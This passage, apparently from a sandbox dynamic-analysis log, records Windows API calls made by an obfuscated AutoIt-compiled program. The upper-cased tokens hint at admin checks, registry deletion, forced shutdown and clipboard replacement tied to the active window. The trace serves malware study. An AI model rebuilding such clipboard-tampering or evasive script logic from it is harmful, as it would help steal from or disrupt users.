lpsz="ProcessExists", cchLength=0xd | out: lpsz="PROCESSEXISTS") returned 0xd [0078.385] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.385] CharUpperBuffW (in: lpsz="ProcessClose", cchLength=0xc | out: lpsz="PROCESSCLOSE") returned 0xc [0078.386] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.386] CharUpperBuffW (in: lpsz="IsAdmin", cchLength=0x7 | out: lpsz="ISADMIN") returned 0x7 [0078.386] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.386] CharUpperBuffW (in: lpsz="RegDelete", cchLength=0x9 | out: lpsz="REGDELETE") returned 0x9 [0078.386] CharUpperBuffW (in: lpsz="576E7ACF370C475C1F7CFFC8287D4894", cchLength=0x20 | out: lpsz="576E7ACF370C475C1F7CFFC8287D4894") returned 0x20 [0078.386] CharUpperBuffW (in: lpsz="Else", cchLength=0x4 | out: lpsz="ELSE") returned 0x4 [0078.386] CharUpperBuffW (in: lpsz="RegDelete", cchLength=0x9 | out: lpsz="REGDELETE") returned 0x9 [0078.386] CharUpperBuffW (in: lpsz="576E7ACF370C475C1F7CFFC8287D4894", cchLength=0x20 | out: lpsz="576E7ACF370C475C1F7CFFC8287D4894") returned 0x20 [0078.386] CharUpperBuffW (in: lpsz="RegDelete", cchLength=0x9 | out: lpsz="REGDELETE") returned 0x9 [0078.386] CharUpperBuffW (in: lpsz="576E7ACF370C475C1F7CFFC8287D4894", cchLength=0x20 | out: lpsz="576E7ACF370C475C1F7CFFC8287D4894") returned 0x20 [0078.386] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.387] CharUpperBuffW (in: lpsz="Run", cchLength=0x3 | out: lpsz="RUN") returned 0x3 [0078.387] CharUpperBuffW (in: lpsz="Sleep", cchLength=0x5 | out: lpsz="SLEEP") returned 0x5 [0078.387] CharUpperBuffW (in: lpsz="WinWaitClose", cchLength=0xc | out: lpsz="WINWAITCLOSE") returned 0xc [0078.387] CharUpperBuffW (in: lpsz="Sleep", cchLength=0x5 | out: lpsz="SLEEP") returned 0x5 [0078.387] CharUpperBuffW (in: lpsz="_S0xC8217D78780E72F524EC8E3C8A152959", cchLength=0x24 | out: lpsz="_S0XC8217D78780E72F524EC8E3C8A152959") returned 0x24 [0078.387] CharUpperBuffW (in: lpsz="576E7ACF370C475C1F7CFFC8287D4894", cchLength=0x20 | out: lpsz="576E7ACF370C475C1F7CFFC8287D4894") returned 0x20 [0078.387] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.387] CharUpperBuffW (in: lpsz="EndFunc", cchLength=0x7 | out: lpsz="ENDFUNC") returned 0x7 [0078.387] CharUpperBuffW (in: lpsz="Func", cchLength=0x4 | out: lpsz="FUNC") returned 0x4 [0078.387] CharUpperBuffW (in: lpsz="_S0xFA56E059CADB1D6DB397C7643F57CDF6", cchLength=0x24 | out: lpsz="_S0XFA56E059CADB1D6DB397C7643F57CDF6") returned 0x24 [0078.387] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.388] CharUpperBuffW (in: lpsz="989BD8DF7434150DDDCC4E3AF84571E3", cchLength=0x20 | out: lpsz="989BD8DF7434150DDDCC4E3AF84571E3") returned 0x20 [0078.388] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.388] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.388] CharUpperBuffW (in: lpsz="F401F847041C5100472ACD2791125C65", cchLength=0x20 | out: lpsz="F401F847041C5100472ACD2791125C65") returned 0x20 [0078.388] CharUpperBuffW (in: lpsz="FileGetShortName", cchLength=0x10 | out: lpsz="FILEGETSHORTNAME") returned 0x10 [0078.388] CharUpperBuffW (in: lpsz="ScriptFullPath", cchLength=0xe | out: lpsz="SCRIPTFULLPATH") returned 0xe [0078.388] CharUpperBuffW (in: lpsz="7B5198DFC8A7BD8A73CE366FD1FF1E83", cchLength=0x20 | out: lpsz="7B5198DFC8A7BD8A73CE366FD1FF1E83") returned 0x20 [0078.388] CharUpperBuffW (in: lpsz="FileGetShortName", cchLength=0x10 | out: lpsz="FILEGETSHORTNAME") returned 0x10 [0078.388] CharUpperBuffW (in: lpsz="UserProfileDir", cchLength=0xe | out: lpsz="USERPROFILEDIR") returned 0xe [0078.388] CharUpperBuffW (in: lpsz="989BD8DF7434150DDDCC4E3AF84571E3", cchLength=0x20 | out: lpsz="989BD8DF7434150DDDCC4E3AF84571E3") returned 0x20 [0078.388] CharUpperBuffW (in: lpsz="ScriptName", cchLength=0xa | out: lpsz="SCRIPTNAME") returned 0xa [0078.389] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.389] CharUpperBuffW (in: lpsz="F401F847041C5100472ACD2791125C65", cchLength=0x20 | out: lpsz="F401F847041C5100472ACD2791125C65") returned 0x20 [0078.389] CharUpperBuffW (in: lpsz="7B5198DFC8A7BD8A73CE366FD1FF1E83", cchLength=0x20 | out: lpsz="7B5198DFC8A7BD8A73CE366FD1FF1E83") returned 0x20 [0078.389] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.389] CharUpperBuffW (in: lpsz="Else", cchLength=0x4 | out: lpsz="ELSE") returned 0x4 [0078.389] CharUpperBuffW (in: lpsz="Shutdown", cchLength=0x8 | out: lpsz="SHUTDOWN") returned 0x8 [0078.389] CharUpperBuffW (in: lpsz="Exit", cchLength=0x4 | out: lpsz="EXIT") returned 0x4 [0078.389] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.389] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.389] CharUpperBuffW (in: lpsz="WinExists", cchLength=0x9 | out: lpsz="WINEXISTS") returned 0x9 [0078.389] CharUpperBuffW (in: lpsz="989BD8DF7434150DDDCC4E3AF84571E3", cchLength=0x20 | out: lpsz="989BD8DF7434150DDDCC4E3AF84571E3") returned 0x20 [0078.390] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.390] CharUpperBuffW (in: lpsz="Shutdown", cchLength=0x8 | out: lpsz="SHUTDOWN") returned 0x8 [0078.390] CharUpperBuffW (in: lpsz="Exit", cchLength=0x4 | out: lpsz="EXIT") returned 0x4 [0078.390] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.390] CharUpperBuffW (in: lpsz="EndFunc", cchLength=0x7 | out: lpsz="ENDFUNC") returned 0x7 [0078.390] CharUpperBuffW (in: lpsz="Func", cchLength=0x4 | out: lpsz="FUNC") returned 0x4 [0078.390] CharUpperBuffW (in: lpsz="_S0x37D47AC55C07B2CFD75BFB9A83781AB6", cchLength=0x24 | out: lpsz="_S0X37D47AC55C07B2CFD75BFB9A83781AB6") returned 0x24 [0078.390] CharUpperBuffW (in: lpsz="FD207A895B0E415C87F1962728B8263A", cchLength=0x20 | out: lpsz="FD207A895B0E415C87F1962728B8263A") returned 0x20 [0078.390] CharUpperBuffW (in: lpsz="ABB4E6C1EAAD6733DE52EFFE51433460", cchLength=0x20 | out: lpsz="ABB4E6C1EAAD6733DE52EFFE51433460") returned 0x20 [0078.390] CharUpperBuffW (in: lpsz="FD207A895B0E415C87F1962728B8263A", cchLength=0x20 | out: lpsz="FD207A895B0E415C87F1962728B8263A") returned 0x20 [0078.390] CharUpperBuffW (in: lpsz="Sleep", cchLength=0x5 | out: lpsz="SLEEP") returned 0x5 [0078.391] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.391] CharUpperBuffW (in: lpsz="MIN", cchLength=0x3 | out: lpsz="MIN") returned 0x3 [0078.391] CharUpperBuffW (in: lpsz="10408E6F4EE9BCC475D45187F7A61581", cchLength=0x20 | out: lpsz="10408E6F4EE9BCC475D45187F7A61581") returned 0x20 [0078.391] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.391] CharUpperBuffW (in: lpsz="_S0x73757138E19277F77C09692F63C01186", cchLength=0x24 | out: lpsz="_S0X73757138E19277F77C09692F63C01186") returned 0x24 [0078.391] CharUpperBuffW (in: lpsz="ABB4E6C1EAAD6733DE52EFFE51433460", cchLength=0x20 | out: lpsz="ABB4E6C1EAAD6733DE52EFFE51433460") returned 0x20 [0078.391] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.391] CharUpperBuffW (in: lpsz="Sleep", cchLength=0x5 | out: lpsz="SLEEP") returned 0x5 [0078.391] CharUpperBuffW (in: lpsz="EndFunc", cchLength=0x7 | out: lpsz="ENDFUNC") returned 0x7 [0078.391] CharUpperBuffW (in: lpsz="Func", cchLength=0x4 | out: lpsz="FUNC") returned 0x4 [0078.392] CharUpperBuffW (in: lpsz="_S0x73757138E19277F77C09692F63C01186", cchLength=0x24 | out: lpsz="_S0X73757138E19277F77C09692F63C01186") returned 0x24 [0078.392] CharUpperBuffW (in: lpsz="ABB4E6C1EAAD6733DE52EFFE51433460", cchLength=0x20 | out: lpsz="ABB4E6C1EAAD6733DE52EFFE51433460") returned 0x20 [0078.392] CharUpperBuffW (in: lpsz="0DD75C3163B74FBA7925B8E9AD8844A2", cchLength=0x20 | out: lpsz="0DD75C3163B74FBA7925B8E9AD8844A2") returned 0x20 [0078.392] CharUpperBuffW (in: lpsz="DllOpen", cchLength=0x7 | out: lpsz="DLLOPEN") returned 0x7 [0078.392] CharUpperBuffW (in: lpsz="Sleep", cchLength=0x5 | out: lpsz="SLEEP") returned 0x5 [0078.392] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.392] CharUpperBuffW (in: lpsz="_S0xFF3A47246D9853F2D17BFC96372DD075", cchLength=0x24 | out: lpsz="_S0XFF3A47246D9853F2D17BFC96372DD075") returned 0x24 [0078.392] CharUpperBuffW (in: lpsz="0DD75C3163B74FBA7925B8E9AD8844A2", cchLength=0x20 | out: lpsz="0DD75C3163B74FBA7925B8E9AD8844A2") returned 0x20 [0078.410] CharUpperBuffW (in: lpsz="And", cchLength=0x3 | out: lpsz="AND") returned 0x3 [0078.410] CharUpperBuffW (in: lpsz="WinActive", cchLength=0x9 | out: lpsz="WINACTIVE") returned 0x9 [0078.410] CharUpperBuffW (in: lpsz="True", cchLength=0x4 | out: lpsz="TRUE") returned 0x4 [0078.410] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.410] CharUpperBuffW (in: lpsz="ClipPut", cchLength=0x7 | out: lpsz="CLIPPUT") returned 0x7 [0078.410] CharUpperBuffW (in: lpsz="ABB4E6C1EAAD6733DE52EFFE51433460", cchLength=0x20 | out: lpsz="ABB4E6C1EAAD6733DE52EFFE51433460") returned 0x20 [0078.411] CharUpperBuffW (in: lpsz="Send", cchLength=0x4 | out: lpsz="SEND") returned 0x4 [0078.411] CharUpperBuffW (in: lpsz="Sleep", cchLength=0x5 | out: lpsz="SLEEP") returned 0x5 [0078.411] CharUpperBuffW (in: lpsz="ClipPut", cchLength=0x7 | out: lpsz="CLIPPUT") returned 0x7 [0078.411] CharUpperBuffW (in: lpsz="10408E6F4EE9BCC475D45187F7A61581", cchLength=0x20 | out: lpsz="10408E6F4EE9BCC475D45187F7A61581") returned 0x20 [0078.411] CharUpperBuffW (in: lpsz="MIN", cchLength=0x3 | out: lpsz="MIN") returned 0x3 [0078.411] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.411] CharUpperBuffW (in: lpsz="10408E6F4EE9BCC475D45187F7A61581", cchLength=0x20 | out: lpsz="10408E6F4EE9BCC475D45187F7A61581") returned 0x20 [0078.411] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.411] CharUpperBuffW (in: lpsz="10408E6F4EE9BCC475D45187F7A61581", cchLength=0x20 | out: lpsz="10408E6F4EE9BCC475D45187F7A61581") returned 0x20 [0078.411] CharUpperBuffW (in: lpsz="10408E6F4EE9BCC475D45187F7A61581", cchLength=0x20 | out: lpsz="10408E6F4EE9BCC475D45187F7A61581") returned 0x20 [0078.411] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.412] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.412] CharUpperBuffW (in: lpsz="DllClose", cchLength=0x8 | out: lpsz="DLLCLOSE") returned 0x8 [0078.412] CharUpperBuffW (in: lpsz="0DD75C3163B74FBA7925B8E9AD8844A2", cchLength=0x20 | out: lpsz="0DD75C3163B74FBA7925B8E9AD8844A2") returned 0x20 [0078.412] CharUpperBuffW (in: lpsz="EndFunc", cchLength=0x7 | out: lpsz="ENDFUNC") returned 0x7 [0078.412] CharUpperBuffW (in: lpsz="Func", cchLength=0x4 | out: lpsz="FUNC") returned 0x4 [0078.412] CharUpperBuffW (in: lpsz="_S0xFF3A47246D9853F2D17BFC96372DD075", cchLength=0x24 | out: lpsz="_S0XFF3A47246D9853F2D17BFC96372DD075") returned 0x24 [0078.412] CharUpperBuffW (in: lpsz="40B0AA4EB21D9C91B3D27420268417A5", cchLength=0x20 | out: lpsz="40B0AA4EB21D9C91B3D27420268417A5") returned 0x20 [0078.412] CharUpperBuffW (in: lpsz="2066FB9CED5B8CE94B67E70DD4CE2F10", cchLength=0x20 | out: lpsz="2066FB9CED5B8CE94B67E70DD4CE2F10") returned 0x20 [0078.412] CharUpperBuffW (in: lpsz="Local", cchLength=0x5 | out: lpsz="LOCAL") returned 0x5 [0078.412] CharUpperBuffW (in: lpsz="6FC4C07B2BEEB89CB72ADC2A47111061", cchLength=0x20 | out: lpsz="6FC4C07B2BEEB89CB72ADC2A47111061") returned 0x20 [0078.412] CharUpperBuffW (in: lpsz="DllCall", cchLength=0x7 | out: lpsz="DLLCALL") returned 0x7 [0078.413] CharUpperBuffW (in: lpsz="2066FB9CED5B8CE94B67E70DD4CE2F10", cchLength=0x20 | out: lpsz="2066FB9CED5B8CE94B67E70DD4CE2F10") returned 0x20 [0078.413] CharUpperBuffW (in: lpsz="40B0AA4EB21D9C91B3D27420268417A5", cchLength=0x20 | out: lpsz="40B0AA4EB21D9C91B3D27420268417A5") returned 0x20 [0078.413] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.413] CharUpperBuffW (in: lpsz="error", cchLength=0x5 | out: lpsz="ERROR") returned 0x5 [0078.413] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.413] CharUpperBuffW (in: lpsz="Return", cchLength=0x6 | out: lpsz="RETURN") returned 0x6 [0078.413] CharUpperBuffW (in: lpsz="SetError", cchLength=0x8 | out: lpsz="SETERROR") returned 0x8 [0078.413] CharUpperBuffW (in: lpsz="error", cchLength=0x5 | out: lpsz="ERROR") returned 0x5 [0078.413] CharUpperBuffW (in: lpsz="extended", cchLength=0x8 | out: lpsz="EXTENDED") returned 0x8 [0078.413] CharUpperBuffW (in: lpsz="False", cchLength=0x5 | out: lpsz="FALSE") returned 0x5 [0078.414] CharUpperBuffW (in: lpsz="Return", cchLength=0x6 | out: lpsz="RETURN") returned 0x6 [0078.414] CharUpperBuffW (in: lpsz="BitAND", cchLength=0x6 | out: lpsz="BITAND") returned 0x6 [0078.414] CharUpperBuffW (in: lpsz="6FC4C07B2BEEB89CB72ADC2A47111061", cchLength=0x20 | out: lpsz="6FC4C07B2BEEB89CB72ADC2A47111061") returned 0x20 [0078.414] CharUpperBuffW (in: lpsz="EndFunc", cchLength=0x7 | out: lpsz="ENDFUNC") returned 0x7 [0078.414] CharUpperBuffW (in: lpsz="Func", cchLength=0x4 | out: lpsz="FUNC") returned 0x4 [0078.414] CharUpperBuffW (in: lpsz="_S0xBE95FE732C869FE99BAFE2C7473BB411", cchLength=0x24 | out: lpsz="_S0XBE95FE732C869FE99BAFE2C7473BB411") returned 0x24 [0078.414] CharUpperBuffW (in: lpsz="576E7ACF370C475C1F7CFFC8287D4894", cchLength=0x20 | out: lpsz="576E7ACF370C475C1F7CFFC8287D4894") returned 0x20 [0078.414] CharUpperBuffW (in: lpsz="F2EE618C99E95AD0E9BB8DA5F76EE4DC", cchLength=0x20 | out: lpsz="F2EE618C99E95AD0E9BB8DA5F76EE4DC") returned 0x20 [0078.414] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.414] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.415] CharUpperBuffW (in: lpsz="1B6FE00D126CF844740F878410AD34F2", cchLength=0x20 | out: lpsz="1B6FE00D126CF844740F878410AD34F2") returned 0x20 [0078.415] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.415] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.420] GetSysColorBrush (nIndex=15) returned 0x1100059 [0078.420] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0078.420] LoadIconW (hInstance=0x1140000, lpIconName=0x63) returned 0xb01cd [0078.421] LoadIconW (hInstance=0x1140000, lpIconName=0xa4) returned 0x60225 [0078.422] LoadIconW (hInstance=0x1140000, lpIconName=0xa2) returned 0x70209 [0078.422] LoadImageW (hInst=0x1140000, name=0x63, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x16022f [0078.422] RegisterClassExW (param_1=0x5efdb4) returned 0xc1a9 [0078.422] GetSysColorBrush (nIndex=15) returned 0x1100059 [0078.422] RegisterClassExW (param_1=0x5efd58) returned 0xc1aa [0078.422] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc08b [0078.422] InitCommonControlsEx (picce=0x5efd88) returned 1 [0078.423] ImageList_Create (cx=16, cy=16, flags=0x21, cInitial=1, cGrow=1) returned 0x737d28 [0078.423] LoadIconW (hInstance=0x1140000, lpIconName=0xa9) returned 0xd01c9 [0078.424] ImageList_ReplaceIcon (himl=0x737d28, i=-1, hicon=0xd01c9) returned 0 [0078.425] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3", lpWindowName="AutoIt v3", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=300, nHeight=100, hWndParent=0x0, hMenu=0x0, hInstance=0x1140000, lpParam=0x0) returned 0x30264 [0078.425] NtdllDefWindowProc_W () returned 0x0 [0078.425] NtdllDefWindowProc_W () returned 0x1 [0078.427] NtdllDefWindowProc_W () returned 0x0 [0078.429] SetTimer (hWnd=0x30264, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0078.429] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc08b [0078.429] CreatePopupMenu () returned 0x1901a9 [0078.429] CreateWindowExW (dwExStyle=0x0, lpClassName="edit", lpWindowName=0x0, dwStyle=0x50b008c4, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x30264, hMenu=0x1, hInstance=0x1140000, lpParam=0x0) returned 0x20262 [0078.438] NtdllDefWindowProc_W () returned 0x0 [0078.438] ShowWindow (hWnd=0x30264, nCmdShow=0) returned 0 [0078.438] ShowWindow (hWnd=0x30264, nCmdShow=0) returned 0 [0078.438] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.439] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.439] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.439] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.439] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.439] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.439] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.439] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.440] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.440] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.440] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.440] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.440] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.440] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.440] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.440] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.440] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.440] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.440] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.441] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.441] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.441] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.444] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.444] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.444] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.452] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.453] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.453] timeGetTime () returned 0x21b3c [0078.453] PeekMessageW (in: lpMsg=0x5efa84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efa84) returned 0 [0078.453] Sleep (dwMilliseconds=0xa) [0078.459] timeGetTime () returned 0x21b4c [0078.459] PeekMessageW (in: lpMsg=0x5efa84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efa84) returned 0 [0078.459] Sleep (dwMilliseconds=0xa) [0078.473] timeGetTime () returned 0x21b5b [0078.473] PeekMessageW (in: lpMsg=0x5efa84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efa84) returned 0 [0078.473] Sleep (dwMilliseconds=0xa) [0078.486] timeGetTime () returned 0x21b6b [0078.486] PeekMessageW (in: lpMsg=0x5efa84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efa84) returned 0 [0078.486] Sleep (dwMilliseconds=0xa) [0078.502] timeGetTime () returned 0x21b7a [0078.502] PeekMessageW (in: lpMsg=0x5efa84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efa84) returned 0 [0078.502] Sleep (dwMilliseconds=0xa) [0078.518] timeGetTime () returned 0x21b8a [0078.518] PeekMessageW (in: lpMsg=0x5efa84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efa84) returned 0 [0078.518] Sleep (dwMilliseconds=0xa) [0078.534] timeGetTime () returned 0x21b9a [0078.534] PeekMessageW (in: lpMsg=0x5efa84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efa84) returned 0 [0078.534] Sleep (dwMilliseconds=0xa) [0078.549] timeGetTime () returned 0x21ba9 [0078.549] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.550] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.550] PeekMessageW (in: lpMsg=0x5efa84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efa84) returned 0 [0078.550] Sleep (dwMilliseconds=0xa) [0078.564] timeGetTime () returned 0x21bb9 [0078.564] PeekMessageW (in: lpMsg=0x5efc34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5efc34) returned 0 [0078.565] CharUpperBuffW (in: lpsz="_S0X325952AE1C47E8F062A74927A1DBE55B", cchLength=0x24 | out: lpsz="_S0X325952AE1C47E8F062A74927A1DBE55B") returned 0x24 [0078.565] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.570] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.570] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.570] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef9bc) returned 0 [0078.575] PeekMessageW (in: lpMsg=0x5ef9bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 